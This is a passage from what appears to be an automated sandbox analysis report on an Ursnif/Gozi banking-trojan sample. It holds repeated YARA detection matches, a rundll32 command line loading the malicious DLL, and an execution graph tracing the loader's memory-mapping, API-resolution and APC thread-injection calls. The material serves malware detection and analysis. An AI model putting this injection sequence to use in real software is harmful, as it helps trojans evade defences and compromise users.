                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  Reputation:high

                  General

                  Target ID:5
                  Start time:08:38:05
                  Start date:07/02/2023
                  Path:C:\Windows\SysWOW64\rundll32.exe
                  Wow64 process (32bit):true
                  Commandline:rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer
                  Imagebase:0x9e0000
                  File size:61952 bytes
                  MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                  • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                  Reputation:high

                  Disassembly

                  Reset < >

                    Execution Graph

                    Execution Coverage:16.4%
                    Dynamic/Decrypted Code Coverage:6.8%
                    Signature Coverage:14.8%
                    Total number of Nodes:1898
                    Total number of Limit Nodes:113
                    execution_graph 20087 6cb80ff8 20088 6cb8102c 20087->20088 20091 6cb81062 _Error_objects 20088->20091 20139 6cb72490 20088->20139 20145 6cb72730 20088->20145 20131 6cb73a70 20091->20131 20093 6cb8111d 20135 6cb75040 20093->20135 20094 6cb72490 _Error_objects 43 API calls 20096 6cb810cb 20094->20096 20096->20093 20096->20094 20097 6cb72730 task 41 API calls 20096->20097 20097->20096 20098 6cb81a08 20099 6cb81b8b 20098->20099 20103 6cb81a40 20098->20103 20100 6cb73a70 43 API calls 20099->20100 20101 6cb81b9a 20100->20101 20102 6cb75040 43 API calls 20101->20102 20108 6cb81bab 20102->20108 20149 6cb74e30 43 API calls 3 library calls 20103->20149 20104 6cb72490 _Error_objects 43 API calls 20104->20108 20106 6cb81add 20150 6cb74e30 43 API calls 3 library calls 20106->20150 20108->20104 20112 6cb72730 41 API calls task 20108->20112 20116 6cb81c8f 20108->20116 20151 6cb74e30 43 API calls 3 library calls 20108->20151 20110 6cb81b6c 20111 6cb72730 task 41 API calls 20110->20111 20113 6cb81b77 20111->20113 20112->20108 20114 6cb72730 task 41 API calls 20113->20114 20115 6cb81b86 20114->20115 20123 6cb82553 20116->20123 20152 6cb73420 20116->20152 20117 6cb72490 43 API calls _Error_objects 20119 6cb819a7 20117->20119 20118 6cb72730 41 API calls task 20118->20119 20119->20098 20119->20117 20119->20118 20120 6cb8112d std::ios_base::good 20120->20098 20120->20119 20122 6cb72730 task 41 API calls 20120->20122 20148 6cb74e30 43 API calls 3 library calls 20120->20148 20122->20120 20156 6cb72750 20123->20156 20127 6cb72750 __DllMainCRTStartup@12 41 API calls 20128 6cb8257a 20127->20128 20129 6cb72730 task 41 API calls 20128->20129 20130 6cb82589 20129->20130 20132 6cb73a82 swap 20131->20132 20133 6cb73aa0 20132->20133 20159 6cb73ab0 43 API calls 2 library calls 20132->20159 20133->20096 20136 6cb75052 swap 20135->20136 20137 6cb75070 20136->20137 20160 6cb75390 43 API calls task 20136->20160 20137->20120 20140 6cb724c1 _Error_objects 20139->20140 20161 6cb73050 20140->20161 20142 6cb724e7 20165 6cb73320 20142->20165 20144 6cb724f3 task 20144->20088 20175 6cb72f70 20145->20175 20147 6cb7273f task 20147->20088 20148->20120 20149->20106 20150->20110 20151->20108 20153 6cb7345b task 20152->20153 20180 6cb72c10 20153->20180 20189 6cb72ea0 20156->20189 20159->20133 20160->20137 20162 6cb73083 task 20161->20162 20164 6cb730a9 swap task _Error_objects 20162->20164 20169 6cb731f0 43 API calls allocator 20162->20169 20164->20142 20166 6cb73330 swap char_traits 20165->20166 20170 6cb73350 20166->20170 20168 6cb73349 20168->20144 20169->20164 20171 6cb733a8 20170->20171 20173 6cb73364 task _Error_objects 20170->20173 20174 6cb71ef0 43 API calls 4 library calls 20171->20174 20173->20168 20174->20173 20176 6cb72f96 task 20175->20176 20177 6cb72fda task 20176->20177 20179 6cb734f0 41 API calls allocator 20176->20179 20177->20147 20179->20177 20181 6cb72c1f task 20180->20181 20184 6cb71b70 20181->20184 20187 6cb71b8a swap 20184->20187 20185 6cb71bb6 20185->20123 20187->20185 20188 6cb72270 41 API calls __DllMainCRTStartup@12 20187->20188 20188->20187 20191 6cb72ee4 task 20189->20191 20190 6cb7275f 20190->20127 20191->20190 20192 6cb72c10 __DllMainCRTStartup@12 41 API calls 20191->20192 20193 6cb72f00 task 20192->20193 20195 6cb73510 20193->20195 20198 6cb71b00 20195->20198 20197 6cb73525 20197->20190 20199 6cb71b1d task 20198->20199 20201 6cb71b24 _MallocaArrayHolder 20199->20201 20202 6cb72980 41 API calls allocator 20199->20202 20201->20197 20202->20201 20203 6cb8f9f8 20206 6cb91657 20203->20206 20207 6cb91662 RtlFreeHeap 20206->20207 20211 6cb8fa10 20206->20211 20208 6cb91677 GetLastError 20207->20208 20207->20211 20209 6cb91684 __dosmaperr 20208->20209 20212 6cb913c9 14 API calls __dosmaperr 20209->20212 20212->20211 20213 e520a4 20214 e520bd 20213->20214 20225 e51e4a ConvertStringSecurityDescriptorToSecurityDescriptorA 20214->20225 20216 e520d1 20226 e513a7 20216->20226 20218 e520f6 20219 e520fa lstrlenW 20218->20219 20224 e52151 ExitThread 20218->20224 20231 e51598 GetSystemTimeAsFileTime _aulldiv _snwprintf 20219->20231 20223 e5211d 20242 e5166a 20223->20242 20225->20216 20227 e51408 20226->20227 20228 e514b3 20227->20228 20253 e52046 RtlAllocateHeap 20227->20253 20254 e51cd6 RtlFreeHeap 20227->20254 20228->20218 20232 e515f6 CreateFileMappingW 20231->20232 20233 e515f1 20231->20233 20234 e51611 20232->20234 20235 e51659 GetLastError 20232->20235 20233->20232 20236 e5161c GetLastError 20234->20236 20237 e5162a MapViewOfFile 20234->20237 20238 e5163a 20235->20238 20236->20237 20239 e51625 20236->20239 20237->20238 20240 e51648 GetLastError 20237->20240 20238->20223 20241 e51650 CloseHandle 20239->20241 20240->20238 20240->20241 20241->20238 20255 e51142 20242->20255 20244 e51702 20244->20224 20245 e516a6 20245->20244 20246 e516f0 20245->20246 20268 e51ceb 20245->20268 20280 e51cd6 RtlFreeHeap 20246->20280 20252 e516e8 GetLastError 20252->20246 20253->20227 20254->20227 20281 e52046 RtlAllocateHeap 20255->20281 20257 e51150 20258 e51206 20257->20258 20259 e5115a GetModuleHandleA GetProcAddress 20257->20259 20258->20245 20260 e51191 GetProcAddress 20259->20260 20261 e511ff 20259->20261 20260->20261 20262 e511a7 GetProcAddress 20260->20262 20261->20258 20288 e51cd6 RtlFreeHeap 20261->20288 20262->20261 20264 e511bd GetProcAddress 20262->20264 20264->20261 20265 e511d3 GetProcAddress 20264->20265 20265->20261 20266 e511e9 20265->20266 20282 e51e76 NtCreateSection 20266->20282 20269 e516c5 20268->20269 20270 e51d0e 20268->20270 20269->20246 20275 e5170e VirtualProtect 20269->20275 20270->20269 20271 e51d1e 20270->20271 20272 e51d1f LoadLibraryA 20271->20272 20273 e51de2 20271->20273 20274 e51d91 GetProcAddress 20271->20274 20272->20271 20272->20273 20273->20269 20274->20271 20276 e516d3 20275->20276 20277 e51757 20275->20277 20276->20246 20276->20252 20277->20276 20278 e517ad VirtualProtect 20277->20278 20278->20277 20279 e517c2 GetLastError 20278->20279 20279->20277 20280->20244 20281->20257 20283 e51eda 20282->20283 20286 e51f07 20282->20286 20289 e5205b NtMapViewOfSection 20283->20289 20286->20261 20287 e51eee memset 20287->20286 20288->20258 20290 e51ee8 20289->20290 20290->20286 20290->20287 20291 6cb861bb 20292 6cb861d1 20291->20292 20293 6cb73a70 43 API calls 20292->20293 20294 6cb86822 20292->20294 20293->20294 20295 6cb75040 43 API calls 20294->20295 20296 6cb868b7 20295->20296 20297 6cb75040 43 API calls 20296->20297 20298 6cb868c7 20297->20298 20299 6cb73a70 43 API calls 20298->20299 20300 6cb868d7 20299->20300 20301 6cb75040 43 API calls 20300->20301 20302 6cb868e9 20301->20302 20303 6cb8690c 20302->20303 20376 6cb86a49 std::ios_base::good 20302->20376 20386 6cb74e30 43 API calls 3 library calls 20303->20386 20304 6cb75040 43 API calls 20306 6cb872d3 20304->20306 20307 6cb73420 41 API calls 20306->20307 20315 6cb872dd 20307->20315 20308 6cb872ad 20308->20304 20309 6cb86999 20387 6cb74e30 43 API calls 3 library calls 20309->20387 20310 6cb870b6 20311 6cb73a70 43 API calls 20310->20311 20324 6cb870c7 20311->20324 20313 6cb86a2a 20314 6cb72730 task 41 API calls 20313->20314 20316 6cb86a35 20314->20316 20379 6cb87640 20315->20379 20317 6cb72730 task 41 API calls 20316->20317 20320 6cb86a44 20317->20320 20319 6cb87106 20327 6cb87640 43 API calls 20319->20327 20321 6cb72490 _Error_objects 43 API calls 20321->20324 20323 6cb72490 _Error_objects 43 API calls 20329 6cb871c7 20323->20329 20324->20319 20324->20321 20330 6cb72730 task 41 API calls 20324->20330 20332 6cb8717a 20327->20332 20329->20308 20329->20323 20337 6cb72730 41 API calls task 20329->20337 20389 6cb74e30 43 API calls 3 library calls 20329->20389 20330->20324 20331 6cb873fc 20333 6cb72730 task 41 API calls 20331->20333 20334 6cb79e20 43 API calls 20332->20334 20335 6cb8740b 20333->20335 20336 6cb871a9 20334->20336 20338 6cb72730 task 41 API calls 20335->20338 20339 6cb72730 task 41 API calls 20336->20339 20337->20329 20344 6cb8741a std::ios_base::good 20338->20344 20341 6cb871b8 20339->20341 20340 6cb72490 43 API calls _Error_objects 20343 6cb86fb2 20340->20343 20342 6cb72730 task 41 API calls 20341->20342 20342->20329 20343->20310 20343->20340 20348 6cb72730 41 API calls task 20343->20348 20388 6cb74e30 43 API calls 3 library calls 20343->20388 20346 6cb73a70 43 API calls 20344->20346 20353 6cb87503 20344->20353 20345 6cb75040 43 API calls 20347 6cb87540 20345->20347 20361 6cb87440 20346->20361 20391 6cb72420 43 API calls 3 library calls 20347->20391 20348->20343 20350 6cb8754f 20351 6cb72750 __DllMainCRTStartup@12 41 API calls 20350->20351 20352 6cb8756d 20351->20352 20354 6cb72750 __DllMainCRTStartup@12 41 API calls 20352->20354 20353->20345 20355 6cb8757c 20354->20355 20356 6cb72750 __DllMainCRTStartup@12 41 API calls 20355->20356 20357 6cb8758b 20356->20357 20358 6cb72750 __DllMainCRTStartup@12 41 API calls 20357->20358 20359 6cb87597 20358->20359 20360 6cb72730 task 41 API calls 20359->20360 20362 6cb875a6 20360->20362 20361->20353 20367 6cb72730 task 41 API calls 20361->20367 20390 6cb74e30 43 API calls 3 library calls 20361->20390 20364 6cb72730 task 41 API calls 20362->20364 20365 6cb875b5 20364->20365 20366 6cb72730 task 41 API calls 20365->20366 20368 6cb875c4 20366->20368 20367->20361 20369 6cb72730 task 41 API calls 20368->20369 20370 6cb875d3 20369->20370 20371 6cb72730 task 41 API calls 20370->20371 20372 6cb875e2 20371->20372 20373 6cb72730 task 41 API calls 20372->20373 20374 6cb875f4 20373->20374 20375 6cb86fa8 20378 6cb73420 41 API calls 20375->20378 20376->20308 20376->20329 20376->20343 20376->20375 20377 6cb75040 43 API calls 20376->20377 20377->20375 20378->20343 20380 6cb8765c 20379->20380 20392 6cb74ed0 20380->20392 20382 6cb873cd 20383 6cb79e20 20382->20383 20384 6cb75130 43 API calls 20383->20384 20385 6cb79e3b 20384->20385 20385->20331 20386->20309 20387->20313 20388->20343 20389->20329 20390->20361 20391->20350 20393 6cb74f05 _Error_objects 20392->20393 20394 6cb73050 _Error_objects 43 API calls 20393->20394 20395 6cb74f2b 20394->20395 20398 6cb75e50 20395->20398 20397 6cb74f3f task 20397->20382 20403 6cb75130 20398->20403 20400 6cb75e6b _Error_objects 20401 6cb73350 _Error_objects 43 API calls 20400->20401 20402 6cb75e9c 20401->20402 20402->20397 20404 6cb75147 20403->20404 20405 6cb75142 20403->20405 20404->20400 20407 6cb73b10 43 API calls 20405->20407 20407->20404 20408 27c7e7b 20409 27c7e6a 20408->20409 20409->20408 20411 27c7fc5 20409->20411 20412 27c802c RaiseException 20411->20412 20413 27c804b 20411->20413 20416 27c81d9 20412->20416 20414 27c8143 20413->20414 20415 27c80b8 LoadLibraryA 20413->20415 20413->20416 20417 27c8108 InterlockedExchange 20413->20417 20414->20416 20419 27c818e GetProcAddress 20414->20419 20415->20417 20418 27c80c7 GetLastError 20415->20418 20416->20409 20422 27c813c FreeLibrary 20417->20422 20423 27c8116 20417->20423 20420 27c80d9 20418->20420 20421 27c80e7 RaiseException 20418->20421 20419->20416 20424 27c819e GetLastError 20419->20424 20420->20417 20420->20421 20421->20416 20422->20414 20423->20414 20425 27c811c LocalAlloc 20423->20425 20426 27c81b0 20424->20426 20425->20414 20427 27c812a 20425->20427 20426->20416 20428 27c81be RaiseException 20426->20428 20427->20414 20428->20416 20429 27c7fbb 20430 27c7f50 20429->20430 20431 27c7fc5 10 API calls 20430->20431 20431->20430 20432 6cb89072 20433 6cb8907c 20432->20433 20434 6cb72730 task 41 API calls 20433->20434 20435 6cb89087 20434->20435 20436 6cb73a70 43 API calls 20435->20436 20440 6cb890a3 20436->20440 20437 6cb890ed 20439 6cb73a70 43 API calls 20437->20439 20438 6cb72490 _Error_objects 43 API calls 20438->20440 20442 6cb890fc 20439->20442 20440->20437 20440->20438 20441 6cb72730 task 41 API calls 20440->20441 20441->20440 20501 ae00a5 20442->20501 20443 6cb89275 PathFileExistsW 20449 6cb8929a 20443->20449 20444 6cb72490 _Error_objects 43 API calls 20444->20449 20446 6cb89173 20446->20443 20448 6cb72730 task 41 API calls 20446->20448 20520 6cb74e30 43 API calls 3 library calls 20446->20520 20447 6cb72730 task 41 API calls 20447->20449 20448->20446 20449->20444 20449->20447 20450 6cb8931e 20449->20450 20451 6cb89694 GetCurrentThreadId 20450->20451 20452 6cb896be 20450->20452 20451->20452 20453 6cb72730 task 41 API calls 20452->20453 20456 6cb89706 _Error_objects 20453->20456 20454 6cb89776 20455 6cb75040 43 API calls 20454->20455 20458 6cb89782 20455->20458 20456->20454 20457 6cb75040 43 API calls 20456->20457 20457->20454 20459 6cb79e20 43 API calls 20458->20459 20460 6cb89c08 20459->20460 20461 6cb72730 task 41 API calls 20460->20461 20462 6cb89c13 20461->20462 20463 6cb73a70 43 API calls 20462->20463 20469 6cb89c4a 20462->20469 20465 6cb89c32 20463->20465 20464 6cb75040 43 API calls 20471 6cb89c72 20464->20471 20466 6cb75040 43 API calls 20465->20466 20467 6cb89c40 20466->20467 20468 6cb79e20 43 API calls 20467->20468 20468->20469 20469->20464 20470 6cb72490 _Error_objects 43 API calls 20470->20471 20471->20470 20472 6cb72730 task 41 API calls 20471->20472 20473 6cb8a001 20471->20473 20472->20471 20521 6cb876f0 20473->20521 20475 6cb8a0bb 20476 6cb72490 _Error_objects 43 API calls 20475->20476 20477 6cb72730 task 41 API calls 20475->20477 20488 6cb8a13e std::ios_base::good 20475->20488 20476->20475 20477->20475 20478 6cb8a5bd 20479 6cb72750 __DllMainCRTStartup@12 41 API calls 20478->20479 20480 6cb8a5cf 20479->20480 20481 6cb72750 __DllMainCRTStartup@12 41 API calls 20480->20481 20483 6cb8a5d7 20481->20483 20482 6cb8a5b0 20484 6cb75040 43 API calls 20482->20484 20485 6cb72750 __DllMainCRTStartup@12 41 API calls 20483->20485 20484->20478 20486 6cb8a5df 20485->20486 20487 6cb72730 task 41 API calls 20486->20487 20489 6cb8a5e7 20487->20489 20488->20478 20488->20482 20490 6cb73a70 43 API calls 20488->20490 20491 6cb72730 task 41 API calls 20489->20491 20497 6cb8a546 20490->20497 20492 6cb8a5f2 20491->20492 20493 6cb72730 task 41 API calls 20492->20493 20494 6cb8a5fa 20493->20494 20495 6cb8a5a2 20496 6cb75040 43 API calls 20495->20496 20496->20482 20497->20495 20498 6cb72490 _Error_objects 43 API calls 20497->20498 20499 6cb72730 task 41 API calls 20497->20499 20498->20497 20499->20497 20502 ae0109 GetPEB 20501->20502 20503 ae0129 20501->20503 20502->20503 20582 ae0d1e 20503->20582 20505 ae018d 20506 ae0d1e NtAllocateVirtualMemory 20505->20506 20507 ae019d 20506->20507 20508 ae0d7d NtFreeVirtualMemory 20507->20508 20509 ae01f5 20508->20509 20510 ae0d1e NtAllocateVirtualMemory 20509->20510 20512 ae0229 20509->20512 20510->20512 20511 ae026d 20511->20446 20512->20511 20513 ae0d7d NtFreeVirtualMemory 20512->20513 20514 ae02a2 20513->20514 20515 ae0a96 GetPEB GetPEB 20514->20515 20517 ae02ce 20515->20517 20516 ae0384 20516->20446 20517->20516 20518 e51f97 6 API calls 20517->20518 20519 e517ef 12 API calls 20517->20519 20518->20516 20519->20516 20520->20446 20586 6cb74f70 20521->20586 20524 6cb74f70 _Error_objects 43 API calls 20525 6cb8772b 20524->20525 20526 6cb74f70 _Error_objects 43 API calls 20525->20526 20527 6cb8773a 20526->20527 20528 6cb74f70 _Error_objects 43 API calls 20527->20528 20529 6cb87749 20528->20529 20530 6cb74f70 _Error_objects 43 API calls 20529->20530 20531 6cb87758 20530->20531 20532 6cb74f70 _Error_objects 43 API calls 20531->20532 20533 6cb87767 20532->20533 20534 6cb74f70 _Error_objects 43 API calls 20533->20534 20535 6cb87776 __DllMainCRTStartup@12 20534->20535 20536 6cb73a70 43 API calls 20535->20536 20541 6cb877d8 20536->20541 20537 6cb8784e 20538 6cb73420 41 API calls 20537->20538 20543 6cb87859 20538->20543 20539 6cb72490 43 API calls _Error_objects 20539->20541 20540 6cb878ad 20542 6cb75040 43 API calls 20540->20542 20541->20537 20541->20539 20545 6cb72730 41 API calls task 20541->20545 20549 6cb878bf 20542->20549 20543->20540 20544 6cb72490 _Error_objects 43 API calls 20543->20544 20546 6cb72730 task 41 API calls 20543->20546 20544->20543 20545->20541 20546->20543 20547 6cb72490 43 API calls _Error_objects 20547->20549 20548 6cb72730 41 API calls task 20548->20549 20549->20547 20549->20548 20550 6cb87db6 20549->20550 20551 6cb73a70 43 API calls 20550->20551 20555 6cb88041 20551->20555 20552 6cb8807f 20554 6cb73a70 43 API calls 20552->20554 20553 6cb72490 _Error_objects 43 API calls 20553->20555 20556 6cb88091 20554->20556 20555->20552 20555->20553 20557 6cb72730 task 41 API calls 20555->20557 20558 6cb75040 43 API calls 20556->20558 20557->20555 20559 6cb880a3 20558->20559 20560 6cb75040 43 API calls 20559->20560 20561 6cb880b5 20560->20561 20562 6cb72750 __DllMainCRTStartup@12 41 API calls 20561->20562 20563 6cb880f2 20562->20563 20564 6cb72750 __DllMainCRTStartup@12 41 API calls 20563->20564 20565 6cb88101 20564->20565 20566 6cb72750 __DllMainCRTStartup@12 41 API calls 20565->20566 20567 6cb88110 20566->20567 20568 6cb72730 task 41 API calls 20567->20568 20569 6cb8811f 20568->20569 20570 6cb72730 task 41 API calls 20569->20570 20571 6cb8812e 20570->20571 20572 6cb72730 task 41 API calls 20571->20572 20573 6cb8813d 20572->20573 20574 6cb72730 task 41 API calls 20573->20574 20575 6cb8814c 20574->20575 20576 6cb72730 task 41 API calls 20575->20576 20577 6cb8815b 20576->20577 20578 6cb72730 task 41 API calls 20577->20578 20579 6cb8816a 20578->20579 20580 6cb72730 task 41 API calls 20579->20580 20581 6cb8817c 20580->20581 20581->20475 20584 ae0d2e 20582->20584 20585 ae0d6e NtAllocateVirtualMemory 20584->20585 20587 6cb74f8c Concurrency::details::WorkQueue::PushStructured _Error_objects 20586->20587 20588 6cb73050 _Error_objects 43 API calls 20587->20588 20589 6cb74fa7 20588->20589 20589->20524 20590 e51ff5 GetCurrentThread SetThreadAffinityMask 20591 e52013 SetThreadPriority 20590->20591 20592 e52018 20590->20592 20591->20592 20597 e51226 20592->20597 20595 e52027 SetThreadPriority 20596 e5202b 20595->20596 20629 e51f1e CreateEventA 20597->20629 20599 e513a0 20599->20595 20599->20596 20601 e51253 NtQuerySystemInformation 20602 e51231 20601->20602 20602->20599 20602->20601 20636 e52046 RtlAllocateHeap 20602->20636 20637 e51ac4 20602->20637 20643 e51cd6 RtlFreeHeap 20602->20643 20606 e512b0 20606->20599 20607 e512ba GetLocaleInfoA 20606->20607 20608 e512d4 GetSystemDefaultUILanguage VerLanguageNameA 20607->20608 20609 e512ec 20607->20609 20608->20609 20610 e51392 20609->20610 20611 e51300 20609->20611 20612 e5134f 20609->20612 20610->20599 20613 e5139a GetLastError 20610->20613 20644 e51516 GetModuleFileNameW GetLastError RtlFreeHeap RtlAllocateHeap 20611->20644 20647 e51f97 CreateThread 20612->20647 20613->20599 20617 e51309 20620 e5130d GetLongPathNameW 20617->20620 20623 e5133f 20617->20623 20618 e51365 WaitForSingleObject 20621 e51375 GetExitCodeThread 20618->20621 20622 e51380 CloseHandle 20618->20622 20619 e51389 GetLastError 20619->20610 20620->20623 20624 e51321 20620->20624 20621->20622 20622->20610 20623->20612 20645 e52046 RtlAllocateHeap 20624->20645 20626 e5132b 20626->20623 20627 e51334 GetLongPathNameW 20626->20627 20646 e51cd6 RtlFreeHeap 20627->20646 20630 e51f90 GetLastError 20629->20630 20631 e51f3c GetVersion 20629->20631 20632 e51f46 20631->20632 20633 e51f53 GetCurrentProcessId OpenProcess 20632->20633 20634 e51f8b 20632->20634 20635 e51f80 20633->20635 20634->20602 20635->20602 20636->20602 20638 e51aeb 20637->20638 20639 e5129b Sleep 20638->20639 20651 e52046 RtlAllocateHeap 20638->20651 20639->20602 20639->20606 20641 e51b5a 20641->20639 20652 e51cd6 RtlFreeHeap 20641->20652 20643->20602 20644->20617 20645->20626 20646->20623 20648 e5135f 20647->20648 20649 e51fba QueueUserAPC 20647->20649 20648->20618 20648->20619 20649->20648 20650 e51fcd GetLastError TerminateThread CloseHandle SetLastError 20649->20650 20650->20648 20651->20641 20652->20639 20653 6cb88b2d 20654 6cb88b3c 20653->20654 20655 6cb88ca1 20654->20655 20661 6cb88b52 20654->20661 20656 6cb75040 43 API calls 20655->20656 20657 6cb88cb9 20656->20657 20684 6cb72920 CreateDialogParamA DestroyWindow KiUserCallbackDispatcher 20657->20684 20660 6cb73a70 43 API calls 20667 6cb88cdc 20660->20667 20688 6cb74e30 43 API calls 3 library calls 20661->20688 20663 6cb88be0 20664 6cb72490 _Error_objects 43 API calls 20663->20664 20666 6cb88bf0 20664->20666 20665 6cb88dbd std::ios_base::good 20668 6cb72490 _Error_objects 43 API calls 20665->20668 20671 6cb72730 task 41 API calls 20665->20671 20682 6cb88e9d 20665->20682 20689 6cb74e30 43 API calls 3 library calls 20666->20689 20667->20665 20674 6cb72730 task 41 API calls 20667->20674 20690 6cb74e30 43 API calls 3 library calls 20667->20690 20668->20665 20671->20665 20672 6cb88c7b 20673 6cb72730 task 41 API calls 20672->20673 20675 6cb88c86 20673->20675 20674->20667 20676 6cb72730 task 41 API calls 20675->20676 20678 6cb88c91 20676->20678 20677 6cb88ffb 20679 6cb72730 task 41 API calls 20678->20679 20680 6cb88c9c 20679->20680 20681 6cb74e30 43 API calls 20681->20682 20682->20677 20682->20681 20683 